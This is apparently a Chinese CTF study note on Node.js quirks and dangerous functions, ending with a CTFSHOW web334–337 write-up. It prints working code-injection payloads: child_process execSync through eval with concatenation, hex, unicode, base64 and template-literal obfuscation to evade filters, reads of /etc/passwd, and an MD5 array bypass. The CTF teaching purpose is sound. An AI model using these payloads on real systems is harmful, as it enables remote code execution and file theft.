Nodejs语言特性
大小写特性
- 大写转换
toUpperCase()
:字符ı ſ
经过toUpperCase
处理后结果为I S
- 小写转换
toLowerCase()
:字符K İ
经过toLowerCase
处理后结果为k i
弱类型比较
数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较
字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较
非数字型字符串与数字进行任何比较结果都是
false
console.log(1=='1'); //true console.log(1>'2'); //false console.log('1'<'2'); //true console.log(111>'3'); //true console.log('111'>'3'); //false console.log('asd'>1); //false
空数组之间比较永远为false
数组之间比较只比较数组的第一个值,对第一个值采用上面的比较方法
数组与非数值型字符串比较,数组永远小于非数值型字符串
数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较
console.log([]==[]); //false console.log([]>[]); //false console.log([6,2]>[5]); //true console.log([100,2]<'test'); //true console.log([1,2]<'2'); //true console.log([11,16]<"10"); //false
一些特殊的相等:
console.log(null==undefined) // 输出:true console.log(null===undefined) // 输出:false console.log(NaN==NaN) // 输出:false console.log(NaN===NaN) // 输出:false
变量拼接:
console.log(5+[6,6]); //56,6 console.log("5"+6); //56 console.log("5"+[6,6]); //56,6 console.log("5"+["6","6"]); //56,6
MD5绕过
跟php很像的数组绕过
如:
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
payload:
a[x]=1&b[x]=2
,数组会被解析成[object Object]
编码绕过
16进制编码:
console.log("a"==="\x61"); // true
unicode编码:
console.log("\u0061"==="a"); // true
base编码:
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())
Nodejs危险函数的利用
命令执行
exec()
:require('child_process').exec('open /System/Applications/Calculator.app');
eval()
:console.log(eval("document.cookie")); //执行document.cookie console.log("document.cookie"); //输出document.cookie
文件读写
读:
readFile()
:require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => { if (err) throw err; console.log(data); });
readFileSync()
:require('fs').readFileSync('/etc/passwd','utf-8')
写:
writeFileSync()
:require('fs').writeFileSync('input.txt','sss');
writeFile()
:require('fs').writeFile('input.txt','test',(err)=>{})
绕过姿势
原型:
require("child_process").execSync('cat flag.txt')
字符拼接:
require("child_process")['exe'%2b'cSync']('cat flag.txt')//(%2b就是+的url编码) require('child_process')["exe".concat("cSync")]("cat flag.txt")
编码绕过:
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt') require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat flag.txt') eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYXQgZmxhZy50eHQnKTs=','base64').toString())
模板拼接:
require("child_process")[`${`${`exe`}cSync`}`]('cat flag.txt')
其他函数:
require("child_process").exec("sleep 3"); require("child_process").execSync("sleep 3"); require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* require("child_process").spawn('sleep', ['3']); require("child_process").spawnSync('sleep', ['3']); require("child_process").execFileSync('sleep', ['3'])
CTFSHOW-Nodejs-wp
web334
源码里给了用户名和密码:
module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ] };
然后还有一个校验:
var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); };
利用
ſ
经过toUpperCase
处理后结果为S
,直接构造用户名:CTFſHOW
登录得到flag
web335
- 源码里找到注释:
<!-- /?eval= -->
- 应该是可以命令执行,payload:
?eval=require("child_process").execSync('cat fl00g.txt')
web336
- payload:
?eval=require("child_process")['exe'+'cSync']('cat fl001g.txt')
web337
给了源码:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }
MD5绕过,payload:
/?a[x]=1&b[x]=2